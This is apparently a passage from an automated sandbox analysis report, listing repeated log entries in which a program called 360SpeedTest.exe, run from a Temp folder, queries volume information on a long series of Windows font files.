              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
